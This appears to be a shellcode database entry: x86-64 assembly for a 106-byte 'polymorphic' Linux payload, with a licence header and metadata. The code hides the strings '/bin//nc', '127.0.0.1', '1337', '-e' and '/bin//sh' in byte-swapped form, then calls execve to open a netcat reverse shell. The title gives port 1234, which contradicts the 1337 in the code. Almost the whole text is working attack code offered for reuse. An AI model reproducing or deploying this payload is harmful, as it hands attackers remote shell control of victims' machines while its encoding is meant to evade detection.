Linux/x64 - Reverse Netcat Shell (127.0.0.1:1234) + Polymorphic Shellcode (106 bytes)

Author: Robert L. Taylor
type: 
platform: linux_x86-64
port: 106.0
date_added: 2017-03-05 
date_updated: 2017-07-11 
verified: 0 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

;The MIT License (MIT)

;Copyright (c) 2017 Robert L. Taylor

;Permission is hereby granted, free of charge, to any person obtaining a
;copy of this software and associated documentation files (the “Software”),
;to deal in the Software without restriction, including without limitation
;the rights to use, copy, modify, merge, publish, distribute, sublicense,
;and/or sell copies of the Software, and to permit persons to whom the
;Software is furnished to do so, subject to the following conditions:

;The above copyright notice and this permission notice shall be included
;in all copies or substantial portions of the Software.

;The Software is provided “as is”, without warranty of any kind, express or
;implied, including but not limited to the warranties of merchantability,
;fitness for a particular purpose and noninfringement. In no event shall the
;authors or copyright holders be liable for any claim, damages or other
;liability, whether in an action of contract, tort or otherwise, arising
;from, out of or in connection with the software or the use or other
;dealings in the Software.
; For a detailed explanation of this shellcode see my blog post:
; http://a41l4.blogspot.ca/2017/03/polynetcatrevshell1434.html

global _start

section .text

_start:
	jmp next
sh:
	db 0x68,0x73,0x2f,0x2f,0x6e,0x69,0x62,0x2f
nc:
	db 0x63,0x6e,0x2f,0x2f,0x6e,0x69,0x62,0x2f
ip:
	db 0x2e,0x30,0x2e,0x30,0x2e,0x37,0x32,0x31
handle:
	pop rcx
	lodsq
	bswap rax
	push rax
	push rsp
	push rcx
	ret
next:
	xor edx,edx
	lea rsi,[rel sh]
	push rdx
	call handle
	pop rbx

	push rdx
	call handle
	pop rdi

	push '1'
	call handle
	pop r12

	push '1337'
	push rsp
	pop rcx

	push rdx
	push word '-e'
	push rsp
	pop rax

	push rdx ; push null
	push rbx ; '/bin//sh'
	push rax ; '-e'
	push rcx ; '1337'
	push r12 ; '127.0.0.1'
	push rdi ; '/bin//nc'
	push rsp
	pop rsi  ; address of array of pointers to strings

	; some magic to put 3b (59) into RAX
	; note that this depends on the push "-e"
	; and it's position on the stack
	mov rax,[rsp + 48]
	shr rax,8
	sub rax,0x2a
	syscall